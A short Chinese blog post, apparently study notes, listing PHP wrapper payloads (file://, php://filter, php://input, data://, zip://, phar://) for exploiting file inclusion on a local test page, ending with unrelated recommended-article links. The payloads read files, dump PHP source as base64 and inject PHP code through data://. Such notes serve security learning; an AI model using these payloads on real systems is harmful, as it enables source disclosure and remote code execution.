文件包含PHP伪协议利用方法

一.file://

使⽤: file:// ⽂件的绝对路径和⽂件名

123.php?cmd=file://D:\xuexi\xiaopi\phpstudy_pro\www\123.txt

二.php://filter

123.php?cmd=php://filter/read=convert.base64-encode/resource=1.php

三.php://input

步骤一:123.php?cmd=php://input抓包

步骤二,右键修改请求方法,修改数据包

步骤三,放行访问

四.data://

⽤途:数据( RFC2397 )

123.php?cmd=data:text/plain,<?php phpinfo();?>

五.zip://

⽤途:读取压缩包内的⽂件(绝对路径 / 相对路径)

123.php?cmd=zip://D:\phpstudy_pro\WWW\2.zip%232.txt

六.phar://

⽤途:读取压缩包内的⽂件(绝对路径 / 相对路径)

123.php?cmd=phar://D:\phpstudy_pro\WWW\2.zip\2.txt

相关推荐
一只会跑会跳会发疯的猴子1 分钟前
php操作elasticsearch,亲测可用
开发语言·elasticsearch·php
Deadly_Bug_GF2 分钟前
PID 控制器的核心原理
开发语言·python
rqtz8 分钟前
【C++】揭秘工程实践:Boost 源码编译与 CMake 环境搭建的具体流程
开发语言·c++·网络编程·boost
Yupureki10 分钟前
《Linux系统编程》19.线程同步与互斥
java·linux·服务器·c语言·开发语言·数据结构·c++
FL162386312922 分钟前
基于C#winform部署RealESRGAN的onnx模型实现超分辨率图片无损放大模糊图片变清晰
开发语言·c#
liuyao_xianhui23 分钟前
优选算法_锯齿形层序遍历二叉树_队列_C++
java·开发语言·数据结构·c++·算法·链表
Elnaij41 分钟前
从C++开始的编程生活(24)——C++11标准Ⅰ
开发语言·c++
mjhcsp43 分钟前
AT_arc205_c [ARC205C] No Collision Moves 题解
开发语言·c++·算法·题解
MLGDOU1 小时前
【Qt开发】信号与槽
开发语言·数据库·qt
风萧萧19991 小时前
Milvus Java 快速入门
java·开发语言·milvus